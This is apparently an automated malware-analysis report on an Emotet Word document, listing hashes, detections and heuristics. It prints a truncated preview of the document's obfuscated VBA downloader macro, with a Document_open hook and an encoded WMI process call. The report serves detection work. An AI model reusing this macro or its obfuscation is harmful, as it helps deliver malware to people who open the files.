Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 142a83507674d795…

MALICIOUS

Office (OLE)

167.9 KB Created: 2020-09-01 10:27:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 636f03e6911fce18e12bf207ac67fd9a SHA-1: bd7ec977f45d0d7f8a3be7f102017d168fce9674 SHA-256: 142a83507674d7950df38e8e82d0c4cfa7668c71b7cd8859302cbe082bb93a5f
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-9618900-0', strongly suggesting the Emotet family. The presence of a Document_Open VBA macro that uses CreateObject indicates an attempt to execute arbitrary code. The obfuscated VBA script, while difficult to fully deobfuscate, likely functions as a downloader for a secondary payload, a common Emotet behavior. The embedded URL, though benign, is noted.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-9618900-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9618900-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14397 bytes
SHA-256: a78a08ca1c4cdfa2f812ac75a222c44dbb6663d7635eb94c052a51e71a1e7718
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Xxjj671f97xrj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Pibt7o9y7zs.Asag2mfkc3uc
End Sub


Attribute VB_Name = "Pibt7o9y7zs"
Attribute VB_Base = "0{7F8D39D6-CB72-415C-B3F1-59B0F9B9CB5A}{9945E1A4-2E15-4F94-88B9-CC1D898007FA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Asag2mfkc3uc()
   On Error Resume Next
   Set qwqhwbw = maammawf
      Select Case jkh12ld
         Case 222
            lhqkln = 1
            bkj2d = Int(jhlaw1)
         Case 223
            jkbjk12bjk = 6
            huig21j = CInt(17 + Round(JGKs))
      End Select
         Set xk21bb2 = k3bj4vh
      For klqhlkwd = 22 To 44
         njqkblwkd = 422 * ehIfpm5 * REu * Round(43) / (86 / CDbl(97) * 44 * Hex(KGBJS))
      Next
         kjhqwlqe = CByte(32 - ChrB(xXFgW6wv) * oBor21 * 33)
   Set nHUGbhJS = BJKGugas
Qv3ziof_2dvbk = 100
   On Error Resume Next
   Set qwqhwbw = maammawf
      Select Case jkh12ld
         Case 222
            lhqkln = 1
            bkj2d = Int(jhlaw1)
         Case 223
            jkbjk12bjk = 6
            huig21j = CInt(17 + Round(JGKs))
      End Select
         Set xk21bb2 = k3bj4vh
      For klqhlkwd = 22 To 44
         njqkblwkd = 422 * ehIfpm5 * REu * Round(43) / (86 / CDbl(97) * 44 * Hex(KGBJS))
      Next
         kjhqwlqe = CByte(32 - ChrB(xXFgW6wv) * oBor21 * 33)
   Set nHUGbhJS = BJKGugas
Yhcoqf_6lgl_wc = ChrW(Qv3ziof_2dvbk + (dccc + 5 + fbbf + 10))
   On Error Resume Next
   Set qwqhwbw = maammawf
      Select Case jkh12ld
         Case 222
            lhqkln = 1
            bkj2d = Int(jhlaw1)
         Case 223
            jkbjk12bjk = 6
            huig21j = CInt(17 + Round(JGKs))
      End Select
         Set xk21bb2 = k3bj4vh
      For klqhlkwd = 22 To 44
         njqkblwkd = 422 * ehIfpm5 * REu * Round(43) / (86 / CDbl(97) * 44 * Hex(KGBJS))
      Next
         kjhqwlqe = CByte(32 - ChrB(xXFgW6wv) * oBor21 * 33)
   Set nHUGbhJS = BJKGugas
Efx9swl199u95 = "34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2w34nnx)))) 9(((hwiqi ()()hnwjc2i34nnx)))) 9(((hwiqi ()()hnwjc2nm34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2gm34nnx)))) 9(((hwiqi ()()hnwjc2t34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2" + Yhcoqf_6lgl_wc + "34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2:34nnx)))) 9(((hwiqi ()()hnwjc2w34nnx)))) 9(((hwiqi ()()hnwjc2in34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2334nnx)))) 9(((hwiqi ()()hnwjc2234nnx)))) 9(((hwiqi ()()hnwjc2_34nnx)))) 9(((hwiqi ()()hnwjc2" + Pibt7o9y7zs.H134y412lz1l29_ + "34nnx)))) 9(((hwiqi ()()hnwjc2ro34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2ce34nnx)))) 9(((hwiqi ()()hnwjc2s34nnx)))) 9(((hwiqi ()()hnwjc2s34nnx)))) 9(((hwiqi ()()hnwjc2"
   On Error Resume Next
   Set qwqhwbw = maammawf
      Select Case jkh12ld
         Case 222
            lhqkln = 1
            bkj2d = Int(jhlaw1)
         Case 223
            jkbjk12bjk = 6
            huig21j = CInt(17 + Round(JGKs))
      End Select
         Set xk21bb2 = k3bj4vh
      For klqhlkwd = 22 To 44
         njqkblwkd = 422 * ehIfpm5 * REu * Round(43) / (86 / CDbl(97) * 44 * Hex(KGBJS))
      Next
         kjhqwlqe = CByte(32 - ChrB(xXFgW6wv) * oBor21 * 33)
   Set nHUGbhJS = BJKGugas
Csypomh1s0z5wvqhmj = Viwqpme1a0c(Efx9swl199u95)
   On Error Resume Next
   Set qwqhwbw = maammawf
      Select Case jkh12ld
         Case 222
            lhqkln = 1
            bkj2d = Int(jhlaw1)
         Case 223
            jkbjk12bjk = 6
            huig21j = CInt(17 + Round(JGKs))
      End Select
         Set xk21bb2 = k3bj4vh
      For klqhlkwd = 22 To 44
        
... (truncated)